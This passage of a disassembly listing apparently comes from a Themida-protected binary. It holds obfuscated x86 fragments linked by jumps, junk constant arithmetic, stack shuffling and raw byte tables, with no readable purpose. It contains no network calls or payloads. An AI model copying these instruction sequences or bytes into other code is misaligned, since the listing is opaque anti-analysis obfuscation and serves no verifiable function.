jmp loc_55FF9F ; --------------------------------------------------------------------------- loc_56D89C: ; CODE XREF: Themida_:00560EBDj shl ecx, 3 sub ecx, 87C6E63h neg ecx jmp loc_574AD6 ; --------------------------------------------------------------------------- dd 0EC81D5F7h, 4, 0E9241489h, 16F4h, 804AED80h, 0DD28B6C5h dd 80B6ED80h, 0E95B4AC5h, 2A44h ; --------------------------------------------------------------------------- loc_56D8D0: ; CODE XREF: Themida_:00562558j and edi, 10937BBCh sub edi, 0D28D1EF3h or edx, edi mov edi, [esp] add esp, 4 inc edx add edx, 80A0A144h add ebx, edx pop edx push edi jmp loc_560912 ; --------------------------------------------------------------------------- loc_56D8F4: ; CODE XREF: Themida_:00572A81j pop esp xchg ecx, [esp] pop esp jmp loc_55FF9F ; --------------------------------------------------------------------------- loc_56D8FE: ; CODE XREF: Themida_:005745BCj mov eax, 7569652Eh push ecx mov ecx, 16E73C9Ah push 0 sub [esp], ecx pop ecx neg ecx shr ecx, 6 or ecx, 358A3734h add ecx, 0DDF3BA71h add eax, ecx pop ecx shr eax, 2 jmp loc_564702 ; --------------------------------------------------------------------------- dw 481h dd 58508D24h, 0ED815D1Bh, 1B58508Dh, 83241C8Bh, 0BA5204C4h dd 30323AA9h, 148BD629h, 4C48124h, 0E9000000h, 0FFFF2E60h dd 81E18951h, 4C1h, 4C18100h, 87000000h, 805C240Ch, 8FE91CEDh db 34h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56D973: ; CODE XREF: Themida_:0056F963j mov [esp], esi push 21821155h pop esi xor esi, 641C5CCCh jmp loc_570693 ; --------------------------------------------------------------------------- loc_56D987: ; CODE XREF: Themida_:0056DB88j xor edi, eax xor eax, edi push 681Ch mov [esp], ebx mov ebx, 66C870AAh xor eax, ebx mov ebx, [esp] add esp, 4 push 4164h jmp loc_56C458 ; --------------------------------------------------------------------------- dw 2C81h dd 7A253324h, 242C2977h, 2533BB53h, 5C01777Ah, 0EDE90424h dd 1FFFF27h, 4C86E9CBh, 81590000h, 73277FEBh, 0FDC38144h dd 81737B06h, 890A8CEBh, 81C3017Dh, 890A8CC3h, 0FDEB817Dh dd 81737B06h, 73277FC3h, 0EEB8144h, 0E948FA11h, 4971h ; --------------------------------------------------------------------------- loc_56D9FC: ; CODE XREF: Themida_:00567430j mov edx, esp add edx, 4 jmp loc_56FDBF ; --------------------------------------------------------------------------- db 81h, 4, 24h dd 722776FCh, 0FF258AE9h, 0E9DE87FFh, 0FFFF3601h, 95AD629h dd 32E95EF1h, 29000040h, 40C68E9h, 14890000h, 2757E924h dd 0BD550000h, 68873CA9h, 97E9DDF7h, 81FFFFC1h, 4ECh, 242C8900h dd 0B6BF5751h, 0C10A5255h, 0CF8102E7h, 7ED547A9h, 0C781DFF7h dd 9D40BD51h, 3C8BF989h, 4C48324h, 2CE9D1F7h, 8B000025h dd 1662424h, 0E99C2404h, 0FFFF251Fh, 57240489h, 4BFh, 5F585700h dd 3358C101h, 5E9240Ch, 5AFFFF41h, 0FFCBD1E9h, 58C101FFh dd 5C240C87h, 0FFBBC7E9h db 0FFh ; --------------------------------------------------------------------------- loc_56DAA9: ; CODE XREF: Themida_:0056C7ECj mov [esp], edx push ebp jmp loc_56F22B ; --------------------------------------------------------------------------- dw 8155h dd 4ECh, 243C8900h, 57244FBFh, 0E9FD8937h, 773Dh, 0EC810F2Ch dd 4, 0B3241C89h, 2EC8318h, 24148966h, 8804B353h, 0D3005BDAh dd 24148B66h, 0E902C483h, 0FFFF7DB3h ; --------------------------------------------------------------------------- loc_56DAF0: ; CODE XREF: Themida_:005670F3j add esp, 4 sub esp, 4 mov [esp], edi mov ebp, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp mov edi, [esp] add esp, 4 jmp loc_571CC7 ; --------------------------------------------------------------------------- dw 0CA81h dd 316D0658h, 0E6F2814Ah, 81463943h, 446CBFF2h, 0B74EE97Fh dd 0E981FFFFh, 0F3C52C3Ah, 8159CA89h, 831AC8CAh, 0A9B6E91Ch dd 0C89FFFFh, 81E18924h, 4C1h, 4C18100h, 87000000h, 248B240Ch dd 63956824h, 0C890000h, 3066824h, 0D2E90000h, 88FFFF68h dd 8BF488EEh, 89572414h, 0D396E9E7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56DB7E: ; CODE XREF: Themida_:0056F50Aj add eax, 571C772Ah xchg eax, edi not edi xor eax, edi jmp loc_56D987 ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 6624248Bh, 5024048Bh, 0FFF619E9h, 708568FFh, 14890000h dd 7FBF5724h, 0E90D0051h, 0FFFF5CE7h, 0D54EBD55h, 0E931D61Dh dd 8BCA015Dh, 0F4E9240Ch, 81FFFF39h, 89556EF3h, 5BD88958h dd 39C6E9h, 4EC8300h, 0B8240489h, 68A60D4h, 8244401h, 0FFDA5FE9h dd 24D35CFFh, 0B0E99C24h db 23h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56DBEF: ; CODE XREF: Themida_:00568C70j push eax push ebx mov ebx, 44485FFBh mov eax, ebx pop ebx xor ecx, eax mov eax, [esp] add esp, 4 push 6A7Bh mov [esp], esi mov esi, 658E587Ch not esi jmp loc_567806 ; --------------------------------------------------------------------------- db 83h, 0C0h, 4 dd 0E9240433h, 0FFFFECC1h, 37E98DB1h, 81FFFF34h, 2C4019E9h dd 81C10119h, 2C4019C1h, 1C18119h, 0E964EF57h, 0FFFF73C0h ; --------------------------------------------------------------------------- loc_56DC40: ; CODE XREF: Themida_:00569016j add ecx, 0AFE81DD8h add esi, ecx pop ecx xchg esi, [esp] pop esp push esi jmp loc_56C208 ; --------------------------------------------------------------------------- loc_56DC53: ; CODE XREF: Themida_:00566266j add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_5625EE ; --------------------------------------------------------------------------- dd 0C1DBF743h, 0BA5204EBh, 950ECA1Eh, 0FF7984E9h db 0FFh ; --------------------------------------------------------------------------- loc_56DC75: ; CODE XREF: Themida_:00574B1Cj pop edi pop ecx push ecx mov ecx, 4 add ebp, 49A66314h sub ebp, ecx sub ebp, 49A66314h pop ecx xchg ebp, [esp] pop esp mov [esp], ebx mov ebx, 80h and ecx, ebx push dword ptr [esp] jmp loc_560074 ; --------------------------------------------------------------------------- loc_56DCA2: ; CODE XREF: Themida_:00565F6Aj push 59D24C86h pop edx jmp loc_56331C ; --------------------------------------------------------------------------- db 81h, 0CEh, 4Eh dd 81150624h, 0CA501CF6h, 72C0E93Dh, 7401FFFFh, 8B5E0424h dd 0C481242Ch, 4, 292968h, 243C8900h, 0F06E950h, 34FF0000h dd 0C4835B24h, 3EEC6804h, 2C890000h, 6224BD24h, 10E927F1h dd 81FFFF81h, 4C7h, 4EF8100h, 87000000h, 248B243Ch, 5871E924h dd 0C483FFFFh, 8E5C104h, 0B5CF581h, 58E93767h, 68000052h dd 41491402h, 3FB9515Dh, 812DAF1Ah, 0B7F141C1h, 0E9CD29F3h dd 6336h, 89242C89h, 535753E5h, 0D85C7BBBh, 5BDF8929h dd 27A389BBh, 0B3EB81D6h, 0E9425402h, 0FFFF8D20h, 5BC9BD55h dd 0ACE91B3Dh, 0F7000016h, 0F68196D0h, 75C30254h, 0FFFCA8E9h dd 98E958FFh, 89000045h, 0E78957E0h, 4C781h, 0E5E90000h dd 8000001Bh, 0C18006F1h, 5DE98025h, 0E959CA88h, 2ABh dd 8124048Bh, 4C4h, 6FE95300h db 0B3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56DDA3: ; CODE XREF: Themida_:00567CE3j xor ecx, 64C72987h jmp loc_570865 ; --------------------------------------------------------------------------- loc_56DDAE: ; CODE XREF: Themida_:00563C7Aj add ecx, edx add ecx, 6C272A13h pop edx sub ecx, 0FFFFFFFFh xor ecx, 545F4284h jmp loc_56F851 ; --------------------------------------------------------------------------- byte_56DDC5 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:0055FE58o dd 411589Dh, 0CDE99C24h db 0D8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56DDD3: ; CODE XREF: Themida_:00565A9Bj push ecx mov ecx, 4 add [esp+4], ecx pop ecx pop ebx add ebx, 4 push ecx jmp loc_5699DA ; --------------------------------------------------------------------------- db 81h dd 11B68EFh, 81CF010Ah, 11B68C7h, 5AC1E90Ah, 0BE56FFFFh dd 7B1216A7h, 0B6E9F331h, 0BBFFFF77h, 4, 685BD901h, 3417h dd 0BE243489h, 1DDC30E9h, 0FF9AFFE9h, 123D05FFh, 895757D9h dd 0E9FA89C7h, 0FFFF6872h ; --------------------------------------------------------------------------- loc_56DE34: ; CODE XREF: Themida_:005600B2j pop edx add esp, 4 push ebx push esp pop ebx push ecx jmp loc_560576 ; --------------------------------------------------------------------------- dd 2B90C281h, 0B8503ADFh, 1BED3AB8h, 0E958C229h, 0FFFF38FCh ; --------------------------------------------------------------------------- loc_56DE58: ; CODE XREF: Themida_:005675F6j mov edx, 1D922FA7h inc edx dec edx jmp loc_56551F ; --------------------------------------------------------------------------- dd 6BE95051h, 81000002h, 4C2h, 2C28100h, 87000000h, 0B8E92414h dd 5BFFFFAFh, 4C681h, 34870000h, 6685C24h, 0E900001Ah dd 40A4h ; --------------------------------------------------------------------------- loc_56DE94: ; CODE XREF: Themida_:00560DE2j mov ch, dh mov edx, [esp] add esp, 4 push edx jmp loc_567EAC ; --------------------------------------------------------------------------- dw 310Dh dd 0C150321Bh, 200D06E0h, 401E9A60h, 3ABCC505h, 58C10173h dd 5659CB01h, 9C20BCBEh, 0E148E947h db 2 dup(0FFh) word_56DEC6 dw 77FFh ; DATA XREF: Themida_:0055FE3Co dd 58669D1Ch, 9C240418h, 0FF20CAE9h, 0E78957FFh, 0FF4892E9h dd 5AEE81FFh, 814A9570h, 91405EC6h, 0EBF5742h, 0F72EEB1Ah dd 0BD5547DFh, 94D68E7Bh, 295DEF01h, 243C8BF9h, 0DEBFE952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56DF06: ; CODE XREF: Themida_:0056909Ej mov [esp], eax mov eax, 5E675F99h add ebx, eax pop eax jmp loc_56974A ; --------------------------------------------------------------------------- dw 0C181h dd 13105F79h, 24348B5Ah, 8104C483h, 2C1h, 240C3300h, 33240C31h dd 38E9240Ch, 50000063h, 440A4BB8h, 55E9514Bh, 81FFFFC3h dd 4C7h, 243C8700h, 6851565Ch, 710566CCh, 934E9h, 0EC815200h dd 4, 4048E9h, 24048100h, 4, 6317685Fh, 4EE90000h db 6Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56DF77: ; CODE XREF: Themida_:0056687Dj push esi mov esi, esp jmp loc_5621FD ; --------------------------------------------------------------------------- loc_56DF7F: ; CODE XREF: Themida_:00570CC0j mov [esp], ecx mov ecx, 0 add ecx, edx push 2C70h mov [esp], edx mov edx, 0 add edx, ecx add eax, [edx] pop edx pop ecx push dword ptr [esp] jmp loc_5630B5 ; --------------------------------------------------------------------------- dd 2EF3E95Ch, 815E0000h, 0AF43E9EEh, 148B585Dh, 4C48324h dd 348BF301h, 4C48124h, 83000000h, 0CC6804C3h, 89000011h dd 85E9241Ch db 73h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56DFD3: ; CODE XREF: Themida_:00565E6Cj or ebp, 0F7032F0h add ebp, 735C604Dh add ebp, 7D2C60BAh add ebx, ebp pop ebp add ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_563C6D ; --------------------------------------------------------------------------- byte_56DFF9 db 66h, 8Bh, 4 ; DATA XREF: Themida_:0055FDE0o dd 57016824h, 14890000h, 33746824h, 24890000h, 24048124h dd 4, 0E389535Ah, 4C381h, 0EB810000h, 4, 0E9241C87h, 1DADh dd 52242C89h, 3C248368h, 0DAF75A0Fh, 0CEE9D2F7h, 0FFFFF4h dd 24148BD0h, 0FFE137E9h, 0FFFFBFFFh, 0FA29FFFFh, 0EDC2815Fh dd 0E93B5438h, 5722h, 8904EC83h, 0E0892404h, 322E68h, 243C8900h dd 4BFh, 5FF80100h, 455368h, 242C8900h, 744BE957h, 0C2810000h dd 4, 8704C283h, 835C2414h, 348704C6h, 8C685C24h, 89000023h dd 5B54241Ch, 2548E9h, 7AE68100h, 0E97C1E4Dh, 0FFFFE927h dword_56E0B0 dd 0FF2434FFh, 81582434h, 4C4h, 3AE86800h, 2C890000h, 73E95024h ; DATA XREF: Themida_:0055FD6Co dd 83FFFF80h, 248904ECh, 460E924h, 0D0880000h, 88C38853h dd 48B5BDDh, 0E1895124h, 4C181h, 0C1810000h, 4, 5C240C87h dd 8DE9EB88h, 81FFFFBBh, 6B43A2C2h, 7AE2811Ch, 0C1575929h dd 0F28106E2h, 6E43F88h, 2020B951h, 0CA2958F3h, 8BD52959h dd 0C4832414h, 107E904h, 0EC810000h, 4, 0BB241C89h, 67765B93h dd 0FF8602E9h, 4C181FFh, 68000000h, 5F7Eh, 0BF243C89h dd 0F870EE4h, 8E685756h, 8B067327h, 25E9243Ch db 6Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_56E15B: ; CODE XREF: Themida_:00569A27j pop ebx mov eax, 2FCE15A2h add eax, edx pop edx push ebx jmp loc_563E23 ; --------------------------------------------------------------------------- dw 0EF29h dd 243C875Dh, 2404895Ch, 4644E9h, 8BE23000h, 0C4812404h dd 4, 0D2F6CAFEh, 5066DAF6h, 5166F4B0h, 3E35E9h, 24343300h dd 1D8EE9h db 0 ; --------------------------------------------------------------------------- loc_56E19D: ; CODE XREF: Themida_:00570D84j xor [esp], ebx jmp loc_562EE9 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 48F9E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56E1AE: ; CODE XREF: Themida_:0056690Cj sub eax, 97D351Eh jmp loc_5734B9 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_57395E ; --------------------------------------------------------------------------- dw 0C680h dd 5AF10019h, 0FF2465E9h, 0A5C381FFh, 5A69C835h, 4EC81h dd 2C890000h, 0C1B95124h, 0C1094A29h, 0E95506E1h, 0FFFFCD8Fh dd 7A68E981h, 0C1816A17h, 41634E4Eh, 531CE953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56E202: ; CODE XREF: Themida_:00574224j pop eax sub edx, 88E5D154h sub ecx, edx mov edx, [esp] add esp, 4 push dword ptr [esp] pop ebp add esp, 4 jmp loc_5710E1 ; --------------------------------------------------------------------------- dd 355AD089h, 55220AAAh, 0FF57D0E9h, 240C8BFFh, 4C481h dd 0F5810000h, 3E984444h, 55BAE9h db 0 ; --------------------------------------------------------------------------- loc_56E241: ; CODE XREF: Themida_:00572BB3j mov edx, 44A70F74h xchg esi, edx not esi xchg esi, edx push ecx mov ecx, 33E70A75h sub edx, 1EF274ADh add edx, ecx add edx, 1EF274ADh push dword ptr [esp] pop ecx add esp, 4 sub eax, edx mov edx, [esp] add esp, 4 mov [edx+30h], eax push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 popa popf retn ; --------------------------------------------------------------------------- dd 0FF1D16E9h db 0FFh ; --------------------------------------------------------------------------- loc_56E289: ; CODE XREF: Themida_:0056CAFDj mov eax, 5DED080Dh neg eax not eax shr eax, 5 or eax, 3F7647D3h add eax, 0A697FA43h sub esi, eax jmp loc_56C2DA ; --------------------------------------------------------------------------- loc_56E2A6: ; CODE XREF: Themida_:00573CB6j mov edi, ebp mov ebp, [esp] add esp, 4 add edi, ecx mov ecx, [esp] add esp, 4 mov esi, 203E1861h sub esi, 75F3156h sub esi, 76BF2ABDh sub esi, edi add esi, 76BF2ABDh add esi, 75F3156h jmp loc_56A0D6 ; --------------------------------------------------------------------------- dd 25C9D335h, 58C6216Eh, 2BD5C681h, 0EE816C87h, 7B2F25C4h dd 0FFA294E9h db 0FFh ; --------------------------------------------------------------------------- loc_56E2F9: ; CODE XREF: Themida_:0056FD59j add dword ptr [esp+4], 8CF317Ah add [esp+4], ebx jmp loc_562827 ; --------------------------------------------------------------------------- loc_56E30A: ; CODE XREF: Themida_:005693CCj pop edx jmp loc_57455E ; --------------------------------------------------------------------------- dd 2414895Ch, 0FFEFFCE9h, 0EACF81FFh, 554FA749h, 48221ABDh dd 0FEC78110h, 0E959D750h, 0FFFFB2BCh ; --------------------------------------------------------------------------- loc_56E330: ; CODE XREF: Themida_:005632C3j add edx, 18C03ABh and edx, 100B564Ah jmp loc_5687CB ; --------------------------------------------------------------------------- db 29h, 0D5h, 8Bh dd 0C4832414h, 938BE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56E34E: ; CODE XREF: Themida_:00564254j pop edx sub ecx, 4 jmp loc_568EA7 ; --------------------------------------------------------------------------- aVsm db 'VéM',7,0 align 10h dd 4C481h, 15A0000h, 29BF68C3h, 3C890000h, 7BB85024h, 8347C20Ch dd 0BA5201E8h, 2DE8276Fh, 4898E9h db 0 ; --------------------------------------------------------------------------- loc_56E385: ; CODE XREF: Themida_:00560604j push eax jmp loc_5749BA ; --------------------------------------------------------------------------- db 8Bh dd 0C4832404h, 4EC8304h, 0E9241489h, 0FFFFBE22h ; --------------------------------------------------------------------------- loc_56E39C: ; CODE XREF: Themida_:00571C70j xor esi, edi push dword ptr [esp] mov edi, [esp] jmp loc_5714CE ; --------------------------------------------------------------------------- db 81h, 44h, 24h dd 0F066B108h, 6C815A3Dh, 47F40424h, 0ABE95480h, 81FFFFF1h dd 3A726BC5h, 5DE90154h, 5755E901h, 0E83B48BFh, 4F76BD7Bh dd 64E9288Eh db 33h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56E3DB: ; CODE XREF: Themida_:0056A411j pop dword ptr [esp] pop esp jmp loc_560402 ; --------------------------------------------------------------------------- dd 4C681h, 0EE810000h, 4, 0FF8660E9h, 289E2CFFh, 0E99E04F8h dd 2DD6h ; --------------------------------------------------------------------------- loc_56E400: ; CODE XREF: Themida_:00570F20j push 110F55F0h pop edx sub edx, 12280CBEh not edx push edi mov edi, 90346591h sub edx, edi pop edi mov ebx, edx pop edx sub ebx, 70E45138h add ecx, 4E692A4Dh add ecx, ebx sub ecx, 4E692A4Dh pop ebx jmp loc_56A408 ; --------------------------------------------------------------------------- loc_56E434: ; CODE XREF: Themida_:00568C7Dj mov esi, 29226D57h or edx, esi push dword ptr [esp] jmp loc_571D33 ; --------------------------------------------------------------------------- db 68h dd 4742F326h, 0FF55EEE9h db 0FFh ; --------------------------------------------------------------------------- loc_56E44D: ; CODE XREF: Themida_:00567B2Aj mov ebx, 0 push esi mov esi, 0F4C2C2Ah jmp loc_56B2DA ; --------------------------------------------------------------------------- loc_56E45D: ; CODE XREF: Themida_:0057030Fj mov esi, 4 add edi, esi pop esi xchg edi, [esp] pop esp push ebx push esp pop ebx add ebx, 4 push 5937h mov [esp], ebp jmp loc_56F2EA ; --------------------------------------------------------------------------- db 81h dd 0D64362EFh, 0B29AE97Ah, 0E689FFFFh, 4C681h, 0C6830000h dd 24348704h, 5124248Bh, 0C90422B9h, 606CE911h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56E4A6: ; CODE XREF: Themida_:00562002j mov ebp, 52944A64h add edi, ebp pop ebp add edi, edx jmp loc_5729E1 ; --------------------------------------------------------------------------- db 89h, 3Ch, 24h dd 0FF4CE6E9h, 6695B8FFh, 60E97EDFh db 0CBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56E4C7: ; CODE XREF: Themida_:005691A6j sub ebx, 4 push ebx push dword ptr [esp+4] jmp loc_56BFBE ; --------------------------------------------------------------------------- dd 4CBDBB53h, 4343446Eh, 0FCE4EB81h, 0D829EFA7h, 0E9241C8Bh dd 0FFFFD160h, 0C74C781h, 0CF812682h, 6A9639C9h, 4BE564Fh dd 8141CC31h, 0BF3FC9EFh, 81F72906h, 0BF3FC9C7h, 0B0E95E06h db 81h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56E513: ; CODE XREF: Themida_:00567AB4j push 0 push bx mov bl, 5Ah sub [esp+2], bl pop bx sub [esp], ch add byte ptr [esp], 5Ah mov ch, [esp] add esp, 4 inc ch jmp loc_563C7F ; --------------------------------------------------------------------------- dw 483h dd 52590424h, 4BAh, 8BD10100h, 0C4832414h, 7B685304h, 0E9000055h dd 0FFFFBCFAh, 0C180F900h, 0C8285BB6h, 18D6E9h db 0 ; --------------------------------------------------------------------------- loc_56E561: ; CODE XREF: Themida_:0056538Fj sub edi, 0E165599Fh mov ebx, edi pop edi push edi mov edi, 4B1278DDh and edi, 1022CA6h xor edi, 0D7C5F0Ch or edi, 167E3D3Fh shl edi, 1 shl edi, 2 sub edi, 812D846Dh xor ebx, edi pop edi add ecx, ebx jmp loc_5636AD ; --------------------------------------------------------------------------- loc_56E597: ; CODE XREF: Themida_:00575497j push ecx mov cl, 19h mov dl, cl pop ecx add ah, dl jmp loc_56985F ; --------------------------------------------------------------------------- dd 891073BEh, 0EE814663h, 0CE87D69h, 2E17E681h, 93E96273h db 69h, 2 dup(0FFh) byte_56E5BB db 66h ; DATA XREF: Themida_:0055FE24o dd 68240C8Bh, 56CFh, 54240C89h, 0E92434FFh, 0FFFF2BBFh ; --------------------------------------------------------------------------- loc_56E5D0: ; CODE XREF: Themida_:005710F2j jmp loc_55FF9F ; --------------------------------------------------------------------------- db 9, 0FBh, 5Fh dd 8143D3F7h, 849C66C3h, 8BDE31D8h, 0C483241Ch, 0E9F30104h dd 0FFFF8188h, 81DAF75Fh, 0F727CAC2h, 0BA525740h, 11B5F92h dd 0E95AD789h, 0FFFFB200h dword_56E608 dd 0E924248Bh, 0FFFF198Fh, 4BB0F66h, 84E99C24h, 5AFFFF19h ; DATA XREF: Themida_:0055FD48o dd 2A4BE9h, 0F4C58100h, 8B1F8E7Ah, 54562404h, 4C6815Eh dd 83000000h, 0BFE904C6h db 6Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56E63B: ; CODE XREF: Themida_:0056FA1Ej dec bl add bl, 1Ah jmp loc_56A4B5 ; --------------------------------------------------------------------------- db 57h, 0BFh, 4 dd 81000000h, 1B0607EEh, 81FE017Ah, 1B0607C6h, 243C8B7Ah dd 4C481h, 34870000h, 0DAC3E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56E66A: ; CODE XREF: Themida_:0056D03Ej sub ecx, 2B1D0051h add ecx, 0A8F50B6h pop ebx push ebx jmp loc_56867C ; --------------------------------------------------------------------------- loc_56E67D: ; CODE XREF: Themida_:005701D9j sub edx, 66EB377Fh mov ebp, [esp] jmp loc_568B79 ; --------------------------------------------------------------------------- db 5Eh dd 81E38953h, 4C3h, 4BA5200h, 1000000h, 2FC7E9D3h, 0EE01FFFFh dd 5D2434FFh, 4C481h, 5E90000h, 29FFFFEEh, 0CD8958C1h dd 0AB95159h, 1A93EA2h, 0E90159CDh, 59CE015Dh, 2C681h dd 7BE90000h db 0Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_56E6D3: ; CODE XREF: Themida_:0056F713j mov esi, 4 mov ecx, esi mov esi, [esp] add esp, 4 sub edi, 5C881924h add edi, ecx add edi, 5C881924h push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 xor edi, [esp] xor [esp], edi jmp loc_5616AD ; --------------------------------------------------------------------------- loc_56E70E: ; CODE XREF: Themida_:00564D40j add edx, ecx pop ecx add edx, ebp push ebx mov ebx, 600C0530h not ebx sub ebx, 84A69100h sub edx, ebx pop ebx pop ebp push ecx mov ecx, 4 jmp loc_57393E ; --------------------------------------------------------------------------- aRS_UZsfl db 'Rºs}À_»*ÙuÔ)ÓZé”l',0 dw 5F00h dd 565AD601h, 42474FFh, 24048F5Eh, 624EE9h, 58C60100h dd 2C68359h, 4C2868h, 24348900h, 42474FFh, 5724348Bh, 0FFD948E9h dd 9EE958FFh, 89000019h, 240C8BCDh, 5604C483h, 3B5F9A68h dd 2E95E57h, 0BFFFFFBAh, 152725Dh, 8107E7C1h, 7A768EE7h dd 0D9C78161h, 1F61E28h, 0F8015FF8h, 8033E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56E7AA: ; CODE XREF: Themida_:00562237j pop esp push ebx mov ebx, 52DA1556h sub eax, ebx pop ebx push dword ptr [edi+eax*4] push dword ptr [esp] mov eax, [esp] add esp, 4 push ebp mov ebp, esp jmp loc_574AFF ; --------------------------------------------------------------------------- dword_56E7C8 dd 9D1C77FFh, 4105866h, 0C8E99C24h, 80FFFF17h, 0B450B4C3h ; DATA XREF: Themida_:0055FE30o dd 8ECC02Fh, 0FFA313E9h, 2B8FFh, 0C70124EFh, 0ECF8E958h dd 0E981FFFFh, 4, 2474FF51h, 48F5904h, 1C895C24h, 134DBB24h dd 0DBE93D1Fh, 3300003Bh, 1C31241Ch, 241C3324h, 8124248Bh dd 4C4h, 0A1F6E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56E826: ; CODE XREF: Themida_:0056D1B1j add ecx, 4 xchg ecx, [esp] jmp loc_5747A5 ; --------------------------------------------------------------------------- db 5Bh, 80h, 0C2h dd 0D7885377h, 0E95BFC88h, 3181h ; --------------------------------------------------------------------------- loc_56E840: ; CODE XREF: Themida_:00568B6Bj add esp, 4 jmp loc_56277D ; --------------------------------------------------------------------------- dd 2C481h, 19040000h, 0FFBFA6E9h db 0FFh ; --------------------------------------------------------------------------- loc_56E855: ; CODE XREF: Themida_:005658DFj sub esi, 4 xchg esi, [esp] pop esp mov [esp], edx mov edx, 30ED5BB9h sub edx, 29EC4BE5h and edx, 480A0921h sub edx, 34427230h jmp loc_5645FA ; --------------------------------------------------------------------------- loc_56E87B: ; CODE XREF: Themida_:0056A224j sub [esp+4], ebx mov ebx, [esp] add esp, 4 jmp loc_56C5F8 ; --------------------------------------------------------------------------- db 59h, 87h, 0F9h dd 2414F757h, 81F9875Fh, 0FA9931E9h, 2C81518Eh, 530D0024h dd 0C6815E32h, 32530D00h, 8BF70159h, 0C4812434h, 4, 2474FF57h dd 243C8B04h, 0E904C483h, 0FFFF692Ah ; --------------------------------------------------------------------------- loc_56E8C8: ; CODE XREF: Themida_:00574FC4j add edi, 1C706EF9h add edi, ecx push edx jmp loc_56C862 ; --------------------------------------------------------------------------- dw 0D629h dd 0EC6EE95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56E8DE: ; CODE XREF: Themida_:00561801j mov esp, [esp] and ecx, ebx push dword ptr [esp] pop ebx sub esp, 4 mov [esp], eax mov eax, esp push edi jmp loc_56925C ; --------------------------------------------------------------------------- loc_56E8F5: ; CODE XREF: Themida_:00568FABj xor [esp], ebx xor ebx, [esp] pop esp mov [esp], ebx push eax push 0FF373F7h jmp loc_565A40 ; --------------------------------------------------------------------------- word_56E90A dw 8B66h ; DATA XREF: Themida_:0055FCF0o dd 0EC83240Ch, 3CC8E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56E916: ; CODE XREF: Themida_:00566B74j mov edi, 4 jmp loc_574185 ; --------------------------------------------------------------------------- dd 0E904C483h, 0FFFF873Dh ; --------------------------------------------------------------------------- loc_56E928: ; CODE XREF: Themida_:0056CE49j jmp loc_55FF9F ; --------------------------------------------------------------------------- db 0BBh, 0E3h, 62h dd 0D8297A92h, 0E92434FFh, 364Eh ; --------------------------------------------------------------------------- loc_56E93C: ; CODE XREF: Themida_:005644A5j xchg edx, [esp] mov esp, [esp] add eax, ebx mov ebx, [esp] add esp, 4 sub eax, 78772F70h jmp loc_55FFF4 ; --------------------------------------------------------------------------- loc_56E957: ; CODE XREF: Themida_:0056E9B9j add ebx, 4 push eax mov eax, 4 jmp loc_568956 ; --------------------------------------------------------------------------- dd 0FF1632E9h db 0FFh byte_56E96D db 66h, 8Bh, 4 ; DATA XREF: Themida_:0055FD44o aHay db '$híY',0 align 2 dw 2C89h dd 4EC8324h, 51C2E954h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56E982: ; CODE XREF: Themida_:0056B14Dj pop edx jmp loc_565023 ; --------------------------------------------------------------------------- loc_56E988: ; CODE XREF: Themida_:0056D6FCj push edi push edx mov edx, 0DA27F7Eh add [esp+4], edx jmp loc_567284 ; --------------------------------------------------------------------------- loc_56E998: ; CODE XREF: Themida_:005607A5j pop ebp push ebp push eax jmp loc_563340 ; --------------------------------------------------------------------------- dd 480F8BBBh, 81DBF710h, 0D4977AC3h, 5BD929CEh, 0D6E9CE01h db 0EDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56E9B7: ; CODE XREF: Themida_:00564045j mov ebx, esp jmp loc_56E957 ; --------------------------------------------------------------------------- dw 8159h dd 965A37F1h, 59C8013Fh, 6F60232Dh, 0D3E918h db 2 dup(0) word_56E9D2 dw 8B66h ; DATA XREF: Themida_:0055FCC8o dd 0EC83240Ch, 240C8904h, 2434FF54h, 4C48159h, 68000000h dd 1BD5h, 50242C89h, 1A41E955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56E9F6: ; CODE XREF: Themida_:00573050j sub edx, 0CC19DC95h add ebx, edx pop edx inc ebx jmp loc_574D66 ; --------------------------------------------------------------------------- db 89h, 0F7h, 89h dd 348B5FF9h, 1183E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56EA12: ; CODE XREF: Themida_:00562DF5j mov esp, [esp] jmp loc_567CB7 ; --------------------------------------------------------------------------- dw 0C781h dd 4, 5C243C87h, 0B60FC330h, 0BD6CE9C0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56EA2E: ; CODE XREF: Themida_:005648C1j push eax mov eax, 0B36360Ch shr eax, 1 neg eax not eax add eax, 8463405h not eax add eax, 0DE14F0Fh jmp loc_5721C6 ; --------------------------------------------------------------------------- 